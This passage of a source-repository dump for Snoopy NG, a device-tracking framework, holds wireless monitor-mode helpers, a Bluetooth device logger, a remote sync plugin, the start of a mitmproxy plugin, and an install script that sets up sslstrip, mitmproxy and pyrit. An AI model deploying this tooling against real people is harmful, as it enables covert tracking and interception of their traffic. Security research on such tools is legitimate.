30 | logging.debug("Enabled monitor mode '%s'"%monif[0])
31 | return monif[0]
32 | else:
33 | logging.debug("No wireless interface supporting monitor mode found")
34 | return None
35 |
36 | def disable_monitor_mode(iface=''):
37 | #Disable all monitor interfaces
38 | if not iface:
39 | for device in get_monitor_iface():
40 | disable_monitor_mode(device)
41 | #call(['airmon-ng', 'stop', device], stdout=DN, stderr=DN)
42 | else:
43 | logging.debug("Disabling monitor mode on '%s'"%iface)
44 | call(['airmon-ng', 'stop', iface], stdout=DN, stderr=DN)
45 |
46 | def get_monitor_iface():
47 | proc = Popen(['iwconfig'], stdout=PIPE, stderr=DN)
48 | iface = ''
49 | monitors = []
50 | for line in proc.communicate()[0].split('\n'):
51 | if len(line) == 0: continue
52 | if ord(line[0]) != 32: # Doesn't start with space
53 | iface = line[:line.find(' ')] # is the interface
54 | if line.find('Mode:Monitor') != -1:
55 | monitors.append(iface)
56 | return monitors
57 |
--------------------------------------------------------------------------------
/includes/run_prog.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 |
4 | from subprocess import Popen, call, PIPE
5 | import errno
6 | from types import *
7 | import logging
8 | import sys
9 |
10 | def splitz(str):
11 | """Split a string based on space, but hold quotes"""
12 | tmp = []
13 | st = 0
14 | i = str.find('"',st)
15 | while i > 0:
16 | tmp.extend(str[st:i-1].strip().split(" "))
17 | j = str.find('"', i+1)
18 | if j < 1:
19 | return
20 | tmp.append(str[i+1:j])
21 | st = j+1
22 | i = str.find('"',st)
23 | tmp.extend(str[st:].strip().split(" "))
24 | return tmp
25 |
26 | def run_program(rcmd):
27 | """
28 | Runs a program 'executable' with list of paramters 'executable_options'. Returns the process, or None if failed. Use:
29 | proc.poll() to check if it's running (0 = running)
30 | proc.kill() to kill the process
31 | """
32 |
33 | logging.debug("Running command '%s'"%rcmd)
34 | cmd = splitz(rcmd)
35 | if not cmd:
36 | logging.error("Bad command '%s'" %rcmd)
37 | return
38 | executable = cmd[0]
39 | executable_options=cmd[1:]
40 |
41 | try:
42 | proc = Popen(([executable] + executable_options), stdout=PIPE, stderr=PIPE)
43 | #response = proc.communicate()
44 | #response_stdout, response_stderr = response[0], response[1]
45 | except OSError, e:
46 | if e.errno == errno.ENOENT:
47 | logging.error( "Unable to locate '%s' program. Is it in your path?" % executable )
48 | else:
49 | logging.error( "O/S error occured when trying to run '%s': \"%s\"" % (executable, str(e)) )
50 | except ValueError, e:
51 | logging.error( "Value error occured. Check your parameters." )
52 | else:
53 | return proc
54 |
55 | if __name__ == "__main__":
56 | """Careful, main program will block"""
57 | proc = run_program(sys.argv[1])
58 | response = proc.communicate()
59 | response_stdout, response_stderr = response[0], response[1]
60 | if proc.wait() != 0:
61 | print "Program returned with the error: \"%s\"" %(response_stderr)
62 | sys.exit(-1)
63 | else:
64 | print "Program returned successfully. First line of response was \"%s\"" %(response_stdout.split('\n')[0] )
65 | print response_stdout
66 |
--------------------------------------------------------------------------------
/includes/run_prog.py.bak:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 |
4 | from subprocess import Popen, call, PIPE
5 | import errno
6 | from types import *
7 | import logging
8 | import sys
9 |
10 | #TODO: Implement timeout mechansim
11 |
12 | def run_program(rcmd):
13 | """
14 | Runs a program 'executable' with list of paramters 'executable_options'. Returns True if program ran successfully.
15 | """
16 | #assert type(executable_options) is ListType, "executable_options should be of type list (not %s)" % type(executable_options)
17 | logging.info("Recvd command '%s'"%rcmd)
18 | cmd = rcmd.split(' ')
19 | executable = cmd[0]
20 | executable_options=cmd[1:]
21 |
22 | try:
23 | proc = Popen(([executable] + executable_options), stdout=PIPE, stderr=PIPE)
24 | response = proc.communicate()
25 | response_stdout, response_stderr = response[0], response[1]
26 | except OSError, e:
27 | if e.errno == errno.ENOENT:
28 | logging.error( "Unable to locate '%s' program. Is it in your path?" % executable )
29 | return "%s: command not found" % executable
30 | else:
31 | logging.error( "O/S error occured when trying to run '%s': \"%s\"" % (executable, str(e)) )
32 | return "An error occured when trying to run %s" % executable
33 | except ValueError, e:
34 | logging.error( "Value error occured. Check your parameters." )
35 | return "Bad parameters"
36 | else:
37 | if proc.wait() != 0:
38 | logging.error( "Executable '%s' returned with the error: \"%s\"" %(executable,response_stderr) )
39 | return response_stderr
40 | else:
41 | logging.debug( "Executable '%s' returned successfully. First line of response was \"%s\"" %(executable, response_stdout.split('\n')[0] ))
42 | return response_stdout
43 |
44 | if __name__ == "__main__":
45 | run_program(sys.argv[1])
46 |
--------------------------------------------------------------------------------
/includes/run_prog.py.new:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 |
4 | from subprocess import Popen, call, PIPE
5 | import errno
6 | from types import *
7 | import logging
8 | import sys
9 |
10 | #TODO: Implement timeout mechansim
11 |
12 | def run_program(rcmd):
13 | """
14 | Runs a program 'executable' with list of paramters 'executable_options'. Returns the process, or None if failed. Use:
15 | proc.poll() to check if it's running (0 = running)
16 | proc.kill() to kill the process
17 | """
18 |
19 | logging.info("Recvd command '%s'"%rcmd)
20 | cmd = rcmd.split(' ')
21 | executable = cmd[0]
22 | executable_options=cmd[1:]
23 |
24 | try:
25 | proc = Popen(([executable] + executable_options), stdout=PIPE, stderr=PIPE)
26 | #response = proc.communicate()
27 | #response_stdout, response_stderr = response[0], response[1]
28 | except OSError, e:
29 | if e.errno == errno.ENOENT:
30 | logging.error( "Unable to locate '%s' program. Is it in your path?" % executable )
31 | else:
32 | logging.error( "O/S error occured when trying to run '%s': \"%s\"" % (executable, str(e)) )
33 | except ValueError, e:
34 | logging.error( "Value error occured. Check your parameters." )
35 | else:
36 | return proc
37 |
38 | if __name__ == "__main__":
39 | """Careful, main program will block"""
40 | proc = run_program(sys.argv[1])
41 | response = proc.communicate()
42 | response_stdout, response_stderr = response[0], response[1]
43 | if proc.wait() != 0:
44 | print "Program returned with the error: \"%s\"" %(response_stderr)
45 | sys.exit(-1)
46 | else:
47 | print "Program returned successfully. First line of response was \"%s\"" %(response_stdout.split('\n')[0] )
48 | print response_stdout
49 |
--------------------------------------------------------------------------------
/includes/sakis.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 | # glenn@sensepost.com
4 | import subprocess
5 | from threading import Thread
6 | import time
7 | import sys
8 | import os
9 | import logging
10 | from run_prog import run_program
11 |
12 | if os.geteuid() != 0:
13 | exit("Please run me with root privilages")
14 |
15 | DN = open(os.devnull, 'w')
16 | logging.basicConfig(format='%(message)s', level=logging.DEBUG)
17 |
18 | scriptPath=os.path.dirname(os.path.realpath(__file__))
19 | #os.chdir(scriptPath)
20 | sakis_exec=scriptPath + "/sakis3g"
21 |
22 | class Sakis(Thread):
23 | """Uses the sakis3g binary to maintain a 3G connection. Supply APN"""
24 | def __init__(self,apn,bg = False):
25 | self.apn=apn
26 | self.dorun = True
27 | if not os.path.isfile(sakis_exec):
28 | logging.error("Error: 'sakis3g' binary is not in '%s' directory" % scriptPath)
29 | sys.exit(-1)
30 | Thread.__init__(self)
31 | self.start()
32 |
33 | if bg:
34 | logging.debug("[+] Starting backround 3G connection maintainer.")
35 | else:
36 | logging.debug("[+] Starting foreground 3G connection maintainer.")
37 | self.join()
38 |
39 | def run(self):
40 | self.maintain_connection()
41 |
42 | def maintain_connection(self):
43 | sawMessage, sawMessage2 = False, False
44 | while self.dorun:
45 | detected = self.is_plugged()
46 | while not detected and self.dorun:
47 | if not sawMessage2:
48 | logging.info("No modem detected. Will check every 5 seconds until one apears, but won't show this message again.")
49 | sawMessage2 = True
50 | time.sleep(5)
51 | detected = self.is_plugged()
52 | sawMessage2 = False
53 | if self.status() != "Connected" and detected and self.dorun:
54 | logging.info("Modem detected, but not currently online. Attempting to connect to 3G network '%s'" % self.apn)
55 | self.connect(self.apn)
56 | time.sleep(2)
57 | if self.status() == "Connected":
58 | logging.info("Successfully connected to '%s'" % self.apn)
59 | run_program("ntpdate ntp.ubuntu.com")
60 | else:
61 | logging.info("Could not connect to '%s'. Will try again in 5 seconds" % self.apn)
62 | else:
63 | if not sawMessage:
64 | logging.info("Modem is online.")
65 | run_program("ntpdate ntp.ubuntu.com")
66 | sawMessage = True
67 | time.sleep(5)
68 |
69 | def stop(self):
70 | logging.info("Stopping 3G connector. Will leave connection in its current state.")
71 | self.dorun = False
72 |
73 | @staticmethod
74 | def is_plugged():
75 | """Check if modem is plugged in"""
76 | try:
77 | r=subprocess.call([sakis_exec, "plugged"], stdout=DN, stderr=DN)
78 | if r == 0:
79 | return True
80 | else:
81 | return False
82 | except Exception,e:
83 | logging.error(e)
84 | return False
85 |
86 |
87 | @staticmethod
88 | def status():
89 | try:
90 | r=subprocess.call([sakis_exec, "status"], stdout=DN, stderr=DN)
91 | if r == 0:
92 | return "Connected"
93 | elif r == 6:
94 | return "Disconnected"
95 | else:
96 | return "Unknown"
97 | except Exception,e:
98 | logging.error(e)
99 | return "Error"
100 |
101 | @staticmethod
102 | def disconnect():
103 | r=subprocess.call([sakis_exec, "disconnect"], stdout=DN, stderr=DN)
104 |
105 | @staticmethod
106 | def get_apns():
107 | return "ToDo"
108 |
109 | @staticmethod
110 | def connect(apn):
111 | try:
112 | r=subprocess.call([sakis_exec, "connect", "APN='%s'"%apn], stdout=DN, stderr=DN)
113 | return r
114 | except Exception,e:
115 | logging.error(e)
116 | return -1
117 |
118 | def usage():
119 | print "Usage:"
120 | print "\t%s "%__file__
121 | print "\te.g. %s orange.fr"%__file__
122 |
123 | if __name__ == "__main__":
124 | if len(sys.argv) < 2:
125 | usage()
126 | sys.exit(-1)
127 | f=None
128 | try:
129 | f=Sakis(sys.argv[1], False)
130 | except KeyboardInterrupt:
131 | logging.info("Caught Ctrl+C. Shutting down")
132 | f.stop()
133 |
--------------------------------------------------------------------------------
/includes/sakis3g:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/snoopy-ng/eac73f545952583af96c6ae8980e9ffeb8b972bc/includes/sakis3g
--------------------------------------------------------------------------------
/includes/system_info.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # Query global machine state, as well as 'very busy' PIDs
3 | # glenn@sensepost.com
4 | import psutil
5 | import time
6 | import datetime
7 | import logging
8 |
9 | cpu_threshold = 30 # pid using more than x% of the CPU
10 | mem_threshold = 30 # pid using more than y% of memory
11 | network_interface = 'ppp0'
12 |
13 | def query_system_status():
14 | """Query global mem, CPU, disk, and network (if present)"""
15 | uptime = int(time.time() - psutil.BOOT_TIME)
16 | uptime = str(datetime.timedelta(seconds=uptime))
17 | try:
18 | used_mem = psutil.virtmem_usage().percent
19 | used_cpu = psutil.cpu_percent(percpu=False) #N.B Only looking at one CPU
20 | used_disk = psutil.disk_usage('/').percent
21 | total_network = psutil.network_io_counters(pernic=True)
22 | network_sent,network_rcvd=-1,-1
23 | if network_interface in total_network:
24 | network_sent = round(total_network[network_interface].bytes_sent/1024.0/1024.0,2)
25 | network_rcvd = round(total_network[network_interface].bytes_recv/1024.0/1024.0,2)
26 | except psutil.AccessDenied:
27 | loggging.error("Access denied when trying to query PID %d" %p)
28 | return None
29 | return {'used_mem':used_mem, 'used_cpu':used_cpu, 'used_disk':used_disk, 'network_sent':network_sent, 'network_rcvd':network_rcvd, 'uptime':uptime}
30 |
31 | def fetch_busy_processes():
32 | """Query all PIDs for memory and CPU usage."""
33 | now = int(time.time())
34 | busy_pids = []
35 | #
36 | for p in psutil.get_pid_list():
37 | try:
38 | pid = psutil.Process(p)
39 | p_cpu = pid.get_cpu_percent()
40 | p_mem = pid.get_memory_percent()
41 | p_name = pid.name
42 | # logging.debug( "Name: %s, CPU: %s, MEM: %s" %(p_name, p_cpu, p_mem))
43 | if p_cpu >= cpu_threshold or p_mem >= mem_threshold:
44 | busy_pid = {'name': p_name, 'pid':p, 'cpu' : p_cpu, 'mem' : p_mem}
45 | busy_pids.append( busy_pid )
46 | except psutil.NoSuchProcess:
47 | pass
48 | except psutil.AccessDenied:
49 | loggging.error("Access denied when trying to query PID %d" %p)
50 | except psutil.TimeoutExpired:
51 | logging.error("Timed out when trying to query PID %d" %p)
52 | return busy_pids
53 |
54 | if __name__ == "__main__":
55 | from pprint import pprint as pp
56 | print "Global stats:"
57 | pp(query_system_status())
58 | print "Very busy processes:"
59 | pp(fetch_busy_processes())
60 |
--------------------------------------------------------------------------------
/install.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | # Basic installation script for Snoopy NG requirements
3 | # glenn@sensepost.com // @glennzw
4 | # Todo: Make this an egg.
5 | set -e
6 |
7 | # In case this is the seconds time user runs setup, remove prior symlinks:
8 | rm -f /usr/bin/sslstrip_snoopy
9 | rm -f /usr/bin/snoopy
10 | rm -f /usr/bin/snoopy_auth
11 | rm -f /etc/transforms
12 |
13 | apt-get install ntpdate --force-yes --yes
14 | #if ps aux | grep ntp | grep -qv grep; then
15 | if [ -f /etc/init.d/ntp ]; then
16 | /etc/init.d/ntp stop
17 | else
18 | # Needed for Kali Linux build on Raspberry Pi
19 | apt-get install ntp
20 | /etc/init.d/ntp stop
21 | fi
22 | echo "[+] Setting time with ntp"
23 | ntpdate ntp.ubuntu.com
24 | /etc/init.d/ntp start
25 |
26 | echo "[+] Setting timzeone..."
27 | echo "Etc/UTC" > /etc/timezone
28 | dpkg-reconfigure -f noninteractive tzdata
29 | echo "[+] Installing sakis3g..."
30 | cp ./includes/sakis3g /usr/local/bin
31 |
32 | echo "[+] Updating repository..."
33 | apt-get update
34 |
35 | # Packages
36 | echo "[+] Installing required packages..."
37 | apt-get install --force-yes --yes python-setuptools autossh python-psutil python2.7-dev libpcap0.8-dev ppp tcpdump python-serial sqlite3 python-requests iw build-essential python-bluez python-flask python-gps python-dateutil python-dev libxml2-dev libxslt-dev pyrit mitmproxy
38 |
39 | # Python packages
40 |
41 | easy_install pip
42 | easy_install smspdu
43 |
44 | pip install sqlalchemy==0.7.4
45 | pip uninstall requests -y
46 | pip install -Iv https://pypi.python.org/packages/source/r/requests/requests-0.14.2.tar.gz #Wigle API built on old version
47 | pip install httplib2
48 | pip install BeautifulSoup
49 | pip install publicsuffix
50 | #pip install mitmproxy
51 | pip install pyinotify
52 | pip install netifaces
53 | pip install dnslib
54 |
55 | #Install SP sslstrip
56 | cp -r ./setup/sslstripSnoopy/ /usr/share/
57 | ln -s /usr/share/sslstripSnoopy/sslstrip.py /usr/bin/sslstrip_snoopy
58 |
59 | # Download & Installs
60 | echo "[+] Installing pyserial 2.6"
61 | pip install https://pypi.python.org/packages/source/p/pyserial/pyserial-2.6.tar.gz
62 |
63 | echo "[+] Downloading pylibpcap..."
64 | pip install https://sourceforge.net/projects/pylibpcap/files/latest/download?source=files#egg=pylibpcap
65 |
66 | echo "[+] Downloading dpkt..."
67 | pip install https://dpkt.googlecode.com/files/dpkt-1.8.tar.gz
68 |
69 | echo "[+] Installing patched version of scapy..."
70 | pip install ./setup/scapy-latest-snoopy_patch.tar.gz
71 |
72 | # Only run this on your client, not server:
73 | #read -r -p "[ ] Do you want to download, compile, and install aircrack? [y/n] " response
74 | #if [[ $response =~ ^([yY][eE][sS]|[yY])$ ]]
75 | #then
76 | # echo "[+] Downloading aircrack-ng..."
77 | # wget http://download.aircrack-ng.org/aircrack-ng-1.2-beta1.tar.gz
78 | # tar xzf aircrack-ng-1.2-beta1.tar.gz
79 | # cd aircrack-ng-1.2-beta1
80 | # make
81 | # echo "[-] Installing aircrack-ng"
82 | # make install
83 | # cd ..
84 | # rm -rf aircrack-ng-1.2-beta1*
85 | #fi
86 |
87 | echo "[+] Creating symlinks to this folder for snoopy.py."
88 |
89 | echo "sqlite:///`pwd`/snoopy.db" > ./transforms/db_path.conf
90 |
91 | ln -s `pwd`/transforms /etc/transforms
92 | ln -s `pwd`/snoopy.py /usr/bin/snoopy
93 | ln -s `pwd`/includes/auth_handler.py /usr/bin/snoopy_auth
94 | chmod +x /usr/bin/snoopy
95 | chmod +x /usr/bin/snoopy_auth
96 | chmod +x /usr/bin/sslstrip_snoopy
97 |
98 | echo "[+] Done. Try run 'snoopy' or 'snoopy_auth'"
99 | echo "[I] Ensure you set your ./transforms/db_path.conf path correctly when using Maltego"
100 |
--------------------------------------------------------------------------------
/plugins/ComingSoon.txt:
--------------------------------------------------------------------------------
1 | # Email me if you want to help. I'm working on these:
2 |
3 | GSM
4 | NFC
5 | WPA_handshake
6 | trilaterator
7 | remoteCommand
8 | MotionSensor
9 | Camera
10 | Thermal
11 | dataServer (d3.js)
12 | OpenCV
13 | planeTracker (SDR)
14 | [redacted]
15 |
--------------------------------------------------------------------------------
/plugins/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/snoopy-ng/eac73f545952583af96c6ae8980e9ffeb8b972bc/plugins/__init__.py
--------------------------------------------------------------------------------
/plugins/blutooth.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 |
4 | import time
5 | import logging
6 | from sqlalchemy import MetaData, Table, Column, String, Unicode, Integer, DateTime
7 | from threading import Thread
8 | import os
9 | from includes.fonts import *
10 | from includes.prox import prox
11 | from includes.fifoDict import fifoDict
12 | from includes.common import snoop_hash, printFreq
13 | import datetime
14 | logging.basicConfig(level=logging.DEBUG,
15 | format='%(asctime)s %(levelname)s %(filename)s: %(message)s',
16 | datefmt='%Y-%m-%d %H:%M:%S')
17 |
18 | class Snoop(Thread):
19 | def __init__(self, **kwargs):
20 | Thread.__init__(self)
21 | self.RUN = True
22 | self.verb = kwargs.get('verbose', 0)
23 | self.proxWindow = kwargs.get('proxWindow', 300)
24 | self.fname = os.path.splitext(os.path.basename(__file__))[0]
25 |
26 | self.prox = prox(proxWindow=self.proxWindow, identName="mac", verb=0, callerName=self.fname)
27 | self.vendors = fifoDict(names=("mac", "vendor", "vendorLong"))
28 | self.btDetails = fifoDict(names=("mac", "name", "classType", "manufac", "lmpVer"))
29 | self.lastPrintUpdate = 0
30 |
31 | def run(self):
32 | from includes.bluScan import scan
33 | reported = False
34 | while self.RUN:
35 | logging.debug("Scanning for bluetooth devices")
36 | scanResults = scan()
37 | if scanResults:
38 | for result in scanResults:
39 | mac = result['mac']
40 | name = result['name'].decode('utf-8')
41 | vendor,vendorLong = result['vendor'], result['vendorLong']
42 | classType = result['classType']
43 | manufac = result['manufac']
44 | lmpVer = result['lmpVer']
45 |
46 | self.prox.pulse(mac)
47 | self.vendors.add((mac, vendor, vendorLong))
48 | self.btDetails.add((mac,name,classType,manufac,lmpVer))
49 |
50 | if self.verb > 1:
51 | logging.info("Plugin %s%s%s watching device '%s%s%s' (%s%s%s) with name '%s%s%s'." % (GR,self.fname,G,GR,mac,G,GR,vendorLong,G,GR,name,G))
52 |
53 | tmptimer=0
54 | while self.RUN and tmptimer < 5:
55 | time.sleep(0.1)
56 | tmptimer += 0.1
57 |
58 | def stop(self):
59 | logging.info("Shutting down Bluetooth scanner, may take 30 seconds...")
60 | self.RUN = False
61 |
62 | def is_ready(self):
63 | return True
64 |
65 | @staticmethod
66 | def get_parameter_list():
67 | info = {"info" : "Discovers Bluetooth devices.",
68 | "parameter_list" : None
69 | }
70 | return info
71 |
72 | def get_data(self):
73 | """Ensure data is returned in the form of a SQL row."""
74 | proxSess = self.prox.getProxs()
75 | btList = self.btDetails.getNew()
76 | vendorsList = self.vendors.getNew()
77 |
78 | if proxSess and self.verb > 0 and abs(os.times()[4] - self.lastPrintUpdate) > printFreq:
79 | logging.info("Sub-plugin %s%s%s currently observing %s%d%s client devices" % (GR,self.fname,G,GR,self.prox.getNumProxs(),G))
80 | self.lastPrintUpdate = os.times()[4]
81 |
82 | return [("bluetooth_obs", proxSess), ("vendors", vendorsList), ("bluetooth_details", btList)]
83 |
84 |
85 | @staticmethod
86 | def get_tables():
87 |
88 | table = Table('bluetooth_obs', MetaData(),
89 | Column('mac', String(64), primary_key=True), #Len 64 for sha256
90 | Column('first_obs', DateTime, primary_key=True, autoincrement=False),
91 | Column('last_obs', DateTime),
92 | Column('sunc', Integer, default=0),
93 | )
94 |
95 | table2 = Table('bluetooth_details', MetaData(),
96 | Column('mac', String(64), primary_key=True), #Len 64 for sha256
97 | Column('name', String(64)),
98 | Column('classType', String(24)),
99 | Column('manufac', String(64)),
100 | Column('lmpVer', String(12)))
101 |
102 | table3 = Table('vendors', MetaData(),
103 | Column('mac', String(64), primary_key=True), #Len 64 for sha256
104 | Column('vendor', String(20) ),
105 | Column('vendorLong', String(50) ),
106 | Column('sunc', Integer, default=0))
107 |
108 |
109 | return [table, table2, table3]
110 |
111 |
112 | if __name__=="__main__":
113 | Snoop().start()
114 |
--------------------------------------------------------------------------------
/plugins/example.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 |
4 | import logging
5 | from sqlalchemy import Float, DateTime, String, Integer, Table, MetaData, Column #As required
6 | from threading import Thread
7 | logging.basicConfig(level=logging.DEBUG,
8 | format='%(asctime)s %(levelname)s %(filename)s: %(message)s',
9 | datefmt='%Y-%m-%d %H:%M:%S')
10 | import time
11 | from collections import deque
12 | from random import randint
13 | import datetime
14 | from threading import Thread
15 | import os
16 | from includes.fonts import *
17 |
18 | class Snoop(Thread):
19 | """This is an example plugin."""
20 | def __init__(self, **kwargs):
21 | Thread.__init__(self)
22 | self.RUN = True
23 | self.data_store = deque(maxlen=1000)
24 | self.fname = os.path.splitext(os.path.basename(__file__))[0]
25 | # Process arguments passed to module
26 | self.var01 = kwargs.get('var01','default01')
27 | self.var02 = kwargs.get('var02','default02')
28 | self.verb = kwargs.get('verbose', 0)
29 |
30 | self.db = kwargs.get('dbms',None)
31 | if self.db:
32 | self.metadata = MetaData(self.db) #If you need to access the db object. N.B Use for *READ* only.
33 | self.metadata.reflect()
34 |
35 | def run(self):
36 | while self.RUN:
37 | new_value = randint(1,52) #Pick a card, any card
38 | now = datetime.datetime.now()
39 | self.data_store.append({'var01':self.var01, 'var02':self.var02, 'time':now, 'rand_num':new_value, 'sunc':0})
40 | logging.debug("Added %d" % new_value)
41 | if self.verb > 0:
42 | logging.info("Plugin %s%s%s created new random number: %s%s%s" % (GR,self.fname,G,GR,new_value,G))
43 | time.sleep(2)
44 |
45 | def is_ready(self):
46 | #Perform any functions that must complete before plugin runs
47 | return True
48 |
49 | def stop(self):
50 | self.RUN = False
51 |
52 | @staticmethod
53 | def get_parameter_list():
54 | info = {"info" : "This is a test plugin. Testing 1,2,3. Can you hear me?",
55 | "parameter_list" : [ ("x=","Test parameter one."),
56 | ("v=[True|False]","Test parameter two.")]
57 | }
58 | return info
59 |
60 |
61 | def get_data(self):
62 | """Ensure data is returned in the form of a SQL row."""
63 | #e.g of return data - [("tbl_name", [{'var01':99, 'var02':199}]
64 | rtnData=[]
65 | while self.data_store:
66 | rtnData.append(self.data_store.popleft())
67 | if rtnData:
68 | return [("example_table", rtnData)]
69 | else:
70 | return []
71 |
72 | @staticmethod
73 | def get_tables():
74 | """This function should return a list of table(s)"""
75 |
76 | table = Table('example_table',MetaData(),
77 | Column('time', DateTime, default='' ),
78 | Column('rand_num', Integer, default='' ),
79 | Column('var01', String(length=20)),
80 | Column('var02', String(length=20)),
81 | Column('sunc', Integer, default=0)) #Omit this if you don't want to sync
82 | return [table]
83 |
84 | if __name__ == "__main__":
85 | Snoop().start()
86 |
--------------------------------------------------------------------------------
/plugins/heartbeat.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 |
4 | import logging
5 | import sqlalchemy as sa
6 | from threading import Thread
7 | import time
8 | import os
9 | from includes.fonts import *
10 | #logging.basicConfig(level=logging.DEBUG)
11 |
12 | class Snoop(Thread):
13 | def __init__(self, **kwargs):
14 | Thread.__init__(self)
15 | self.RUN = True
16 | self.last_heartbeat = 0
17 | self.heartbeat_freq = 60 # Beat every n seconds
18 | self.verb = kwargs.get('verbose',0)
19 | self.fname = os.path.splitext(os.path.basename(__file__))[0]
20 |
21 | def run(self):
22 | while self.RUN:
23 | time.sleep(2) #Nothing to do here
24 | def is_ready(self):
25 | """Indicates the module is ready, and loading of next module may commence."""
26 | return True
27 |
28 | def stop(self):
29 | """Perform operations required to stop module and return"""
30 | self.RUN = False
31 |
32 | @staticmethod
33 | def get_parameter_list():
34 | """List of paramters that can be passed to the module, for user help output."""
35 | info = {"info" : "Returns a hearbeat every 60 seconds.",
36 | "parameter_list" : None
37 | }
38 | return info
39 |
40 | def get_data(self):
41 | """Ensure data is returned in the form of a SQL row."""
42 | now = int(os.times()[4])
43 | if abs(now - self.last_heartbeat) > self.heartbeat_freq:
44 | timestamp = int(time.time())
45 | #logging.debug("Heartbeat - %d" % timestamp)
46 | self.last_heartbeat = now
47 | if self.verb > 0:
48 | logging.info("Plugin %s%s%s had a beat %s%s❤ %s%s" % (GR,self.fname,G,R,F,NF,G))
49 | return [('heartbeat',[{'timestamp':timestamp}])]
50 | else:
51 | return []
52 |
53 | @staticmethod
54 | def get_tables():
55 | """Return the table definitions for this module."""
56 | # Make sure to define your table here. Ensure you have a 'sunc' column:
57 | metadata = sa.MetaData()
58 | table = sa.Table('heartbeat',metadata,
59 | #sa.Column('drone', sa.String(length=20)),
60 | sa.Column('timestamp', sa.Integer, primary_key=True, autoincrement=False),
61 | sa.Column('sunc', sa.Integer, default=0))
62 | return [table]
63 |
64 |
65 | if __name__ == "__main__":
66 | Snoop().start()
67 |
--------------------------------------------------------------------------------
/plugins/local_sync.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 |
4 | import logging
5 | import sqlalchemy as sa
6 | from threading import Thread
7 | import time
8 | import os
9 | from collections import deque
10 | import requests
11 | import json
12 | from includes.jsonify import json_list_to_objs
13 | import base64
14 | from includes.fonts import *
15 |
16 | #logging.basicConfig(level=logging.DEBUG)
17 |
18 | class Snoop(Thread):
19 | def __init__(self, **kwargs):
20 | Thread.__init__(self)
21 | self.server = kwargs.get('server_url')
22 | self.sync_freq = int(kwargs.get('sync_freq', 60))
23 | self.drone = kwargs.get('drone')
24 | self.key = kwargs.get('key')
25 | self.RUN = True
26 | self.data_store = deque()
27 | self.last_sync = 0
28 |
29 | self.verb = kwargs.get('verbose', 0)
30 | self.fname = os.path.splitext(os.path.basename(__file__))[0]
31 |
32 | if not self.server:
33 | logging.error("Please specify a remote server.")
34 | exit(-1)
35 |
36 | if not self.drone or not self.key:
37 | logging.error("Please supply drone (--drone) and key (--key) in order to fetch data from the remote server.")
38 | exit(-1)
39 |
40 | def run(self):
41 | logging.info("Local Sync plugin will pull remote database replica every %d seconds" % self.sync_freq)
42 | while self.RUN:
43 | time.sleep(5)
44 |
45 | def is_ready(self):
46 | """Indicates the module is ready, and loading of next module may commence."""
47 | return True
48 |
49 | def stop(self):
50 | """Perform operations required to stop module and return"""
51 | self.RUN = False
52 |
53 | @staticmethod
54 | def get_parameter_list():
55 | """List of paramters that can be passed to the module, for user help output."""
56 | info = {"info" : "Pull database from remote server and sync it into the local one. Make sure to specify valid --drone and --key options for the remote server.",
57 | "parameter_list" : [
58 | ("server_url=","URL of server to pull data from. Server plugin should be running on that machine. (e.g. 'http://1.1.1.1:9001/'"),
59 | ("sync_freq=", "Frequency to pull a full replica of remote database in seconds")
60 | ]
61 | }
62 | return info
63 |
64 | def get_data(self):
65 | base64string = base64.encodestring('%s:%s' % (self.drone, self.key)).replace('\n', '')
66 | headers = {'content-type': 'application/json',
67 | 'Z-Auth': self.key, 'Z-Drone': self.drone, 'Authorization':'Basic %s' % base64string}
68 | rtnData = []
69 | now = int(os.times()[4])
70 | if abs(now - self.last_sync) > self.sync_freq:
71 | try:
72 | r = requests.get(self.server+"pull/", headers=headers)
73 | except Exception,e:
74 | logging.error("Error fetching remote data. Exception was '%s'" % e)
75 | else:
76 | if r.status_code == 200:
77 | data = json_list_to_objs(r.text)
78 | data_len = 0
79 | for row in data:
80 | rtnData.append( (row['table'], row['data']) )
81 | data_len += len(row['data'])
82 | if self.verb > 0:
83 | logging.info("Plugin %s%s%s pulled %s%d%s records from remote server." % (GR,self.fname,G,GR,data_len,G))
84 | else:
85 | logging.error("Error fetching remote data. Response code was %d"%r.status_code)
86 | self.last_sync = now #Success or not, we'll wait another n seconds
87 | time.sleep(0.5)
88 | return rtnData
89 |
90 | @staticmethod
91 | def get_tables():
92 | """Return the table definitions for this module."""
93 | return []
94 |
95 | if __name__ == "__main__":
96 | Snoop().start()
97 |
--------------------------------------------------------------------------------
/plugins/mitmproxy.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 |
4 | import logging
5 | from sqlalchemy import Float, DateTime, String, Integer, Table, MetaData, Column #As required
6 | from threading import Thread
7 | logging.basicConfig(level=logging.DEBUG,
8 | format='%(asctime)s %(levelname)s %(filename)s: %(message)s',
9 | datefmt='%Y-%m-%d %H:%M:%S')
10 | import time
11 | from collections import deque
12 | from random import randint
13 | import datetime
14 | from threading import Thread
15 | import os
16 | from includes.fonts import *
17 | from includes.mitm import *
18 |
19 |
20 | class Snoop(Thread):
21 | """This plugin starts a proxy server."""
22 | def __init__(self, **kwargs):
23 | Thread.__init__(self)
24 | self.data_store = deque(maxlen=1000)
25 |
26 | # Process arguments passed to module
27 | self.port = int(kwargs.get('port', 8080))
28 | self.transparent = kwargs.get('transparent', 'false').lower()
29 | self.verb = kwargs.get('verbose', 0)
30 | self.fname = os.path.splitext(os.path.basename(__file__))[0]
31 |
32 | config = proxy.ProxyConfig(
33 | cacert = os.path.expanduser("~/.mitmproxy/mitmproxy-ca.pem"),
